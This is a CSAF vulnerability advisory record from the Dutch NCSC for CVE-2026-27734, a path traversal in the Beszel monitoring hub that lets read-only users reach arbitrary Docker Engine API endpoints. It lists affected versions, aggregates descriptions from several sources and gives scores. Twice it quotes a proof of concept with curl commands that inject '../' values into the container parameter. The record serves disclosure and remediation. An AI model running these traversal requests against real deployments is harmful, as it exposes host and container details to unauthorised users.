{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-27734", "tracking": { "current_release_date": "2026-03-29T18:48:38.498921Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-27734", "initial_release_date": "2026-02-27T20:26:47.839436Z", "revision_history": [ { "date": "2026-02-27T20:26:47.839436Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-02-27T20:26:51.180863Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-02-27T20:39:01.040452Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-02-27T20:39:05.794976Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-02-27T21:39:42.903184Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-02-27T21:39:52.466782Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-02-27T22:39:39.334395Z", "number": "7", "summary": "References created (1)." }, { "date": "2026-02-28T07:35:09.622442Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-02-28T12:12:57.357387Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (4).| CWES updated (1)." }, { "date": "2026-02-28T12:13:02.731356Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-02-28T13:56:57.830176Z", "number": "11", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (69).| References created (4).| CWES updated (1)." }, { "date": "2026-02-28T14:13:55.820006Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-02-28T14:13:57.448109Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-03-02T13:38:51.713351Z", "number": "14", "summary": "Unknown change." }, { "date": "2026-03-04T17:25:15.506118Z", "number": "15", "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-04T17:25:25.001307Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:39:58.922322Z", "number": "17", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-25T18:15:26.821807Z", "number": "18", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)." }, { "date": "2026-03-25T18:15:28.827648Z", "number": "19", "summary": "NCSC Score updated." }, { "date": "2026-03-29T18:48:14.951450Z", "number": "20", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (6).| CWES updated (1)." } ], "status": "interim", "version": "20" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.18.2", "product": { "name": "vers:unknown/<0.18.2", "product_id": "CSAFPID-5758409", "product_identification_helper": { "cpe": "cpe:2.3:a:beszel:beszel:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "beszel" } ], "category": "vendor", "name": "beszel" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.18.4", "product": { "name": "vers:unknown/<0.18.4", "product_id": "CSAFPID-5736397" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<0.18.4", "product": { "name": "vers:unknown/>=0|<0.18.4", "product_id": "CSAFPID-5748750" } }, { "category": "product_version_range", "name": "vers:unknown/v0.0.1", "product": { "name": "vers:unknown/v0.0.1", "product_id": "CSAFPID-5749451" } }, { "category": "product_version_range", "name": "vers:unknown/v0.0.1-alpha.0", "product": { "name": "vers:unknown/v0.0.1-alpha.0", "product_id": "CSAFPID-5749452" } }, { "category": "product_version_range", "name": "vers:unknown/v0.0.1-alpha.1", "product": { "name": "vers:unknown/v0.0.1-alpha.1", "product_id": "CSAFPID-5749453" } }, { "category": "product_version_range", "name": "vers:unknown/v0.0.1-alpha.2", "product": { "name": "vers:unknown/v0.0.1-alpha.2", "product_id": "CSAFPID-5749454" } }, { "category": "product_version_range", "name": "vers:unknown/v0.0.1-alpha.3", "product": { "name": "vers:unknown/v0.0.1-alpha.3", "product_id": "CSAFPID-5749455" } }, { "category": "product_version_range", "name": "vers:unknown/v0.0.1-alpha.4", "product": { "name": "vers:unknown/v0.0.1-alpha.4", "product_id": "CSAFPID-5749456" } }, { "category": "product_version_range", "name": "vers:unknown/v0.0.1-alpha.5", "product": { "name": "vers:unknown/v0.0.1-alpha.5", "product_id": "CSAFPID-5749457" } }, { "category": "product_version_range", "name": "vers:unknown/v0.0.1-alpha.6", "product": { "name": "vers:unknown/v0.0.1-alpha.6", "product_id": "CSAFPID-5749458" } }, { "category": "product_version_range", "name": "vers:unknown/v0.0.1-alpha.7", "product": { "name": "vers:unknown/v0.0.1-alpha.7", "product_id": "CSAFPID-5749459" } }, { "category": "product_version_range", "name": "vers:unknown/v0.0.1-alpha.8", "product": { "name": "vers:unknown/v0.0.1-alpha.8", "product_id": "CSAFPID-5749460" } }, { "category": "product_version_range", "name": "vers:unknown/v0.0.1-alpha.9", "product": { "name": "vers:unknown/v0.0.1-alpha.9", "product_id": "CSAFPID-5749461" } }, { "category": "product_version_range", "name": "vers:unknown/v0.1.0", "product": { "name": "vers:unknown/v0.1.0", "product_id": "CSAFPID-5749462" } }, { "category": "product_version_range", "name": "vers:unknown/v0.1.1", "product": { "name": "vers:unknown/v0.1.1", "product_id": "CSAFPID-5749463" } }, { "category": "product_version_range", "name": "vers:unknown/v0.1.2", "product": { "name": "vers:unknown/v0.1.2", "product_id": "CSAFPID-5749464" } }, { "category": "product_version_range", "name": "vers:unknown/v0.10.0", "product": { "name": "vers:unknown/v0.10.0", "product_id": "CSAFPID-5749465" } }, { "category": "product_version_range", "name": "vers:unknown/v0.10.1", "product": { "name": "vers:unknown/v0.10.1", "product_id": "CSAFPID-5749466" } }, { "category": "product_version_range", "name": "vers:unknown/v0.10.2", "product": { "name": "vers:unknown/v0.10.2", "product_id": "CSAFPID-5749467" } }, { "category": "product_version_range", "name": "vers:unknown/v0.11.0", "product": { "name": "vers:unknown/v0.11.0", "product_id": "CSAFPID-5749468" } }, { "category": "product_version_range", "name": "vers:unknown/v0.11.1", "product": { "name": "vers:unknown/v0.11.1", "product_id": "CSAFPID-5749469" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.0", "product": { "name": "vers:unknown/v0.12.0", "product_id": "CSAFPID-5749470" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.0-beta1", "product": { "name": "vers:unknown/v0.12.0-beta1", "product_id": "CSAFPID-5749471" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.0-beta2", "product": { "name": "vers:unknown/v0.12.0-beta2", "product_id": "CSAFPID-5749472" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.1", "product": { "name": "vers:unknown/v0.12.1", "product_id": "CSAFPID-5749473" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.10", "product": { "name": "vers:unknown/v0.12.10", "product_id": "CSAFPID-5749474" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.11", "product": { "name": "vers:unknown/v0.12.11", "product_id": "CSAFPID-5749475" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.12", "product": { "name": "vers:unknown/v0.12.12", "product_id": "CSAFPID-5749476" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.2", "product": { "name": "vers:unknown/v0.12.2", "product_id": "CSAFPID-5749477" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.3", "product": { "name": "vers:unknown/v0.12.3", "product_id": "CSAFPID-5749478" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.4", "product": { "name": "vers:unknown/v0.12.4", "product_id": "CSAFPID-5749479" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.5", "product": { "name": "vers:unknown/v0.12.5", "product_id": "CSAFPID-5749480" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.6", "product": { "name": "vers:unknown/v0.12.6", "product_id": "CSAFPID-5749481" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.7", "product": { "name": "vers:unknown/v0.12.7", "product_id": "CSAFPID-5749482" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.8", "product": { "name": "vers:unknown/v0.12.8", "product_id": "CSAFPID-5749483" } }, { "category": "product_version_range", "name": "vers:unknown/v0.12.9", "product": { "name": "vers:unknown/v0.12.9", "product_id": "CSAFPID-5749484" } }, { "category": "product_version_range", "name": "vers:unknown/v0.13.0", "product": { "name": "vers:unknown/v0.13.0", "product_id": "CSAFPID-5749485" } }, { "category": "product_version_range", "name": "vers:unknown/v0.13.1", "product": { "name": "vers:unknown/v0.13.1", "product_id": "CSAFPID-5749486" } }, { "category": "product_version_range", "name": "vers:unknown/v0.13.2", "product": { "name": "vers:unknown/v0.13.2", "product_id": "CSAFPID-5749487" } }, { "category": "product_version_range", "name": "vers:unknown/v0.14.0", "product": { "name": "vers:unknown/v0.14.0", "product_id": "CSAFPID-5749488" } }, { "category": "product_version_range", "name": "vers:unknown/v0.14.1", "product": { "name": "vers:unknown/v0.14.1", "product_id": "CSAFPID-5749489" } }, { "category": "product_version_range", "name": "vers:unknown/v0.15.0", "product": { "name": "vers:unknown/v0.15.0", "product_id": "CSAFPID-5749490" } }, { "category": "product_version_range", "name": "vers:unknown/v0.15.1", "product": { "name": "vers:unknown/v0.15.1", "product_id": "CSAFPID-5749491" } }, { "category": "product_version_range", "name": "vers:unknown/v0.15.2", "product": { "name": "vers:unknown/v0.15.2", "product_id": "CSAFPID-5749492" } }, { "category": "product_version_range", "name": "vers:unknown/v0.15.3", "product": { "name": "vers:unknown/v0.15.3", "product_id": "CSAFPID-5749493" } }, { "category": "product_version_range", "name": "vers:unknown/v0.15.4", "product": { "name": "vers:unknown/v0.15.4", "product_id": "CSAFPID-5749494" } }, { "category": "product_version_range", "name": "vers:unknown/v0.16.0", "product": { "name": "vers:unknown/v0.16.0", "product_id": "CSAFPID-5749495" } }, { "category": "product_version_range", "name": "vers:unknown/v0.16.1", "product": { "name": "vers:unknown/v0.16.1", "product_id": "CSAFPID-5749496" } }, { "category": "product_version_range", "name": "vers:unknown/v0.17.0", "product": { "name": "vers:unknown/v0.17.0", "product_id": "CSAFPID-5749497" } }, { "category": "product_version_range", "name": "vers:unknown/v0.18.0", "product": { "name": "vers:unknown/v0.18.0", "product_id": "CSAFPID-5749498" } }, { "category": "product_version_range", "name": "vers:unknown/v0.18.1", "product": { "name": "vers:unknown/v0.18.1", "product_id": "CSAFPID-5749499" } }, { "category": "product_version_range", "name": "vers:unknown/v0.18.2", "product": { "name": "vers:unknown/v0.18.2", "product_id": "CSAFPID-5749500" } }, { "category": "product_version_range", "name": "vers:unknown/v0.18.3", "product": { "name": "vers:unknown/v0.18.3", "product_id": "CSAFPID-5749501" } }, { "category": "product_version_range", "name": "vers:unknown/v0.2.0", "product": { "name": "vers:unknown/v0.2.0", "product_id": "CSAFPID-5749502" } }, { "category": "product_version_range", "name": "vers:unknown/v0.3.0", "product": { "name": "vers:unknown/v0.3.0", "product_id": "CSAFPID-5749503" } }, { "category": "product_version_range", "name": "vers:unknown/v0.4.0", "product": { "name": "vers:unknown/v0.4.0", "product_id": "CSAFPID-5749504" } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.0", "product": { "name": "vers:unknown/v0.5.0", "product_id": "CSAFPID-5749505" } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.1", "product": { "name": "vers:unknown/v0.5.1", "product_id": "CSAFPID-5749506" } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.2", "product": { "name": "vers:unknown/v0.5.2", "product_id": "CSAFPID-5749507" } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.3", "product": { "name": "vers:unknown/v0.5.3", "product_id": "CSAFPID-5749508" } }, { "category": "product_version_range", "name": "vers:unknown/v0.6.0", "product": { "name": "vers:unknown/v0.6.0", "product_id": "CSAFPID-5749509" } }, { "category": "product_version_range", "name": "vers:unknown/v0.6.1", "product": { "name": "vers:unknown/v0.6.1", "product_id": "CSAFPID-5749510" } }, { "category": "product_version_range", "name": "vers:unknown/v0.6.2", "product": { "name": "vers:unknown/v0.6.2", "product_id": "CSAFPID-5749511" } }, { "category": "product_version_range", "name": "vers:unknown/v0.7.0", "product": { "name": "vers:unknown/v0.7.0", "product_id": "CSAFPID-5749512" } }, { "category": "product_version_range", "name": "vers:unknown/v0.7.1", "product": { "name": "vers:unknown/v0.7.1", "product_id": "CSAFPID-5749513" } }, { "category": "product_version_range", "name": "vers:unknown/v0.7.2", "product": { "name": "vers:unknown/v0.7.2", "product_id": "CSAFPID-5749514" } }, { "category": "product_version_range", "name": "vers:unknown/v0.7.3", "product": { "name": "vers:unknown/v0.7.3", "product_id": "CSAFPID-5749515" } }, { "category": "product_version_range", "name": "vers:unknown/v0.7.4", "product": { "name": "vers:unknown/v0.7.4", "product_id": "CSAFPID-5749516" } }, { "category": "product_version_range", "name": "vers:unknown/v0.8.0", "product": { "name": "vers:unknown/v0.8.0", "product_id": "CSAFPID-5749517" } }, { "category": "product_version_range", "name": "vers:unknown/v0.9.0", "product": { "name": "vers:unknown/v0.9.0", "product_id": "CSAFPID-5749518" } }, { "category": "product_version_range", "name": "vers:unknown/v0.9.1", "product": { "name": "vers:unknown/v0.9.1", "product_id": "CSAFPID-5749519" } } ], "category": "product_name", "name": "beszel" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.18.4", "product": { "name": "vers:unknown/0.18.4", "product_id": "CSAFPID-5961917" } }, { "category": "product_version_range", "name": "vers:unknown/<0.18.4", "product": { "name": "vers:unknown/<0.18.4", "product_id": "CSAFPID-5961918" } } ], "category": "product_name", "name": "go/github.com/henrygd/beszel" } ], "category": "vendor", "name": "henrygd" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-27734", "cwe": { "id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" }, "notes": [ { "category": "description", "text": "Beszel is a server monitoring platform. Prior to version 0.18.2, the hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize `../` sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details. Version 0.18.4 fixes the issue.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27734" }, { "category": "description", "text": "Beszel is a server monitoring platform. Prior to version 0.18.2, the hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize `../` sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details. Version 0.18.4 fixes the issue.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27734" }, { "category": "description", "text": "### Summary\n\nThe hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.\n\n### Details\n\n**Hub** (internal/hub/hub.go:407-426): `containerID` from query param is only checked for emptiness, no format validation:\n```go\ncontainerID := e.Request.URL.Query().Get(\"container\")\nif systemID == \"\" || containerID == \"\" { ... }\ndata, err := fetchFunc(system, containerID) // passed directly to agent\n```\n\n**Agent** (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:\n```go\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/json\", containerID)\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d\", containerID, dockerLogsTail)\n```\n\nGo's http.Client preserves `../` in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.\n\n### PoC\n\nTested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).\n```bash\n# Authenticate\nTOKEN=$(curl -s -X POST \"http://localhost:8090/api/collections/users/auth-with-password\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"identity\":\"user@example.com\",\"password\":\"password\"}' | jq -r '.token')\n\nSYSTEM=\"\"\n\n# Path traversal: Docker version (returns full engine version, kernel, Go version)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: Docker system info (returns hostname, OS, container count, network config)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: List all images (triggers unmarshal error confirming traversal works)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n```\n\nAll three requests returned real data from the Docker Engine API on the agent host.\n\n### Impact\n\nAny authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.\n\n## Researcher\n\nSergio Cabrera\nhttps://www.linkedin.com/in/sergio-cabrera-878766239/", "title": "github - https://github.com/advisories/GHSA-phwh-4f42-gwf3" }, { "category": "description", "text": "### Summary\n\nThe hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.\n\n### Details\n\n**Hub** (internal/hub/hub.go:407-426): `containerID` from query param is only checked for emptiness, no format validation:\n```go\ncontainerID := e.Request.URL.Query().Get(\"container\")\nif systemID == \"\" || containerID == \"\" { ... }\ndata, err := fetchFunc(system, containerID) // passed directly to agent\n```\n\n**Agent** (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:\n```go\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/json\", containerID)\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d\", containerID, dockerLogsTail)\n```\n\nGo's http.Client preserves `../` in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.\n\n### PoC\n\nTested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).\n```bash\n# Authenticate\nTOKEN=$(curl -s -X POST \"http://localhost:8090/api/collections/users/auth-with-password\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"identity\":\"user@example.com\",\"password\":\"password\"}' | jq -r '.token')\n\nSYSTEM=\"\"\n\n# Path traversal: Docker version (returns full engine version, kernel, Go version)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: Docker system info (returns hostname, OS, container count, network config)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: List all images (triggers unmarshal error confirming traversal works)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=\" \\\n -H \"Authorization: Bearer $TOKEN\"\n```\n\nAll three requests returned real data from the Docker Engine API on the agent host.\n\n### Impact\n\nAny authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.\n\n## Researcher\n\nSergio Cabrera\nhttps://www.linkedin.com/in/sergio-cabrera-878766239/", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-phwh-4f42-gwf3.json?alt=media" }, { "category": "description", "text": "Beszel is a server monitoring platform. Prior to version 0.18.2, the hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize `../` sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details. Version 0.18.4 fixes the issue.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27734.json?alt=media" }, { "category": "description", "text": "Beszel: Docker API has a Path Traversal Vulnerability via Unsanitized Container ID in github.com/henrygd/beszel", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4571.json?alt=media" }, { "category": "description", "text": "The hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.", "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fhenrygd%2Fbeszel%2FCVE-2026-27734.yml/raw" }, { "category": "other", "text": "0.00014", "title": "EPSS" }, { "category": "other", "text": "3.6", "title": "NCSC Score" }, { "category": "other", "text": "Exploit code publicly available, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "fixed": [ "CSAFPID-5961917" ], "known_affected": [ "CSAFPID-5736397", "CSAFPID-5748750", "CSAFPID-5749451", "CSAFPID-5749452", "CSAFPID-5749453", "CSAFPID-5749454", "CSAFPID-5749455", "CSAFPID-5749456", "CSAFPID-5749457", "CSAFPID-5749458", "CSAFPID-5749459", "CSAFPID-5749460", "CSAFPID-5749461", "CSAFPID-5749462", "CSAFPID-5749463", "CSAFPID-5749464", "CSAFPID-5749465", "CSAFPID-5749466", "CSAFPID-5749467", "CSAFPID-5749468", "CSAFPID-5749469", "CSAFPID-5749470", "CSAFPID-5749471", "CSAFPID-5749472", "CSAFPID-5749473", "CSAFPID-5749474", "CSAFPID-5749475", "CSAFPID-5749476", "CSAFPID-5749477", "CSAFPID-5749478", "CSAFPID-5749479", "CSAFPID-5749480", "CSAFPID-5749481", "CSAFPID-5749482", "CSAFPID-5749483", "CSAFPID-5749484", "CSAFPID-5749485", "CSAFPID-5749486", "CSAFPID-5749487", "CSAFPID-5749488", "CSAFPID-5749489", "CSAFPID-5749490", "CSAFPID-5749491", "CSAFPID-5749492", "CSAFPID-5749493", "CSAFPID-5749494", "CSAFPID-5749495", "CSAFPID-5749496", "CSAFPID-5749497", "CSAFPID-5749498", "CSAFPID-5749499", "CSAFPID-5749500", "CSAFPID-5749501", "CSAFPID-5749502", "CSAFPID-5749503", "CSAFPID-5749504", "CSAFPID-5749505", "CSAFPID-5749506", "CSAFPID-5749507", "CSAFPID-5749508", "CSAFPID-5749509", "CSAFPID-5749510", "CSAFPID-5749511", "CSAFPID-5749512", "CSAFPID-5749513", "CSAFPID-5749514", "CSAFPID-5749515", "CSAFPID-5749516", "CSAFPID-5749517", "CSAFPID-5749518", "CSAFPID-5749519", "CSAFPID-5758409", "CSAFPID-5961918" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27734" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27734" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-27734" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27734.json" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-phwh-4f42-gwf3" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-phwh-4f42-gwf3" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-phwh-4f42-gwf3.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27734.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27734" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4571.json?alt=media" }, { "category": "external", "summary": "Source - gitlab", "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fhenrygd%2Fbeszel%2FCVE-2026-27734.yml/raw" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/henrygd/beszel/releases/tag/v0.18.4" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/henrygd/beszel/security/advisories/GHSA-phwh-4f42-gwf3" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://github.com/henrygd/beszel/commit/311095cfddda113863ca9656cf9e99411be1cef5" }, { "category": "external", "summary": "Reference - github; gitlab", "url": "https://github.com/advisories/GHSA-phwh-4f42-gwf3" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27734" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27734.json" }, { "category": "external", "summary": "Reference - gitlab", "url": "https://github.com/henrygd/beszel" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-5736397", "CSAFPID-5748750", "CSAFPID-5749451", "CSAFPID-5749452", "CSAFPID-5749453", "CSAFPID-5749454", "CSAFPID-5749455", "CSAFPID-5749456", "CSAFPID-5749457", "CSAFPID-5749458", "CSAFPID-5749459", "CSAFPID-5749460", "CSAFPID-5749461", "CSAFPID-5749462", "CSAFPID-5749463", "CSAFPID-5749464", "CSAFPID-5749465", "CSAFPID-5749466", "CSAFPID-5749467", "CSAFPID-5749468", "CSAFPID-5749469", "CSAFPID-5749470", "CSAFPID-5749471", "CSAFPID-5749472", "CSAFPID-5749473", "CSAFPID-5749474", "CSAFPID-5749475", "CSAFPID-5749476", "CSAFPID-5749477", "CSAFPID-5749478", "CSAFPID-5749479", "CSAFPID-5749480", "CSAFPID-5749481", "CSAFPID-5749482", "CSAFPID-5749483", "CSAFPID-5749484", "CSAFPID-5749485", "CSAFPID-5749486", "CSAFPID-5749487", "CSAFPID-5749488", "CSAFPID-5749489", "CSAFPID-5749490", "CSAFPID-5749491", "CSAFPID-5749492", "CSAFPID-5749493", "CSAFPID-5749494", "CSAFPID-5749495", "CSAFPID-5749496", "CSAFPID-5749497", "CSAFPID-5749498", "CSAFPID-5749499", "CSAFPID-5749500", "CSAFPID-5749501", "CSAFPID-5749502", "CSAFPID-5749503", "CSAFPID-5749504", "CSAFPID-5749505", "CSAFPID-5749506", "CSAFPID-5749507", "CSAFPID-5749508", "CSAFPID-5749509", "CSAFPID-5749510", "CSAFPID-5749511", 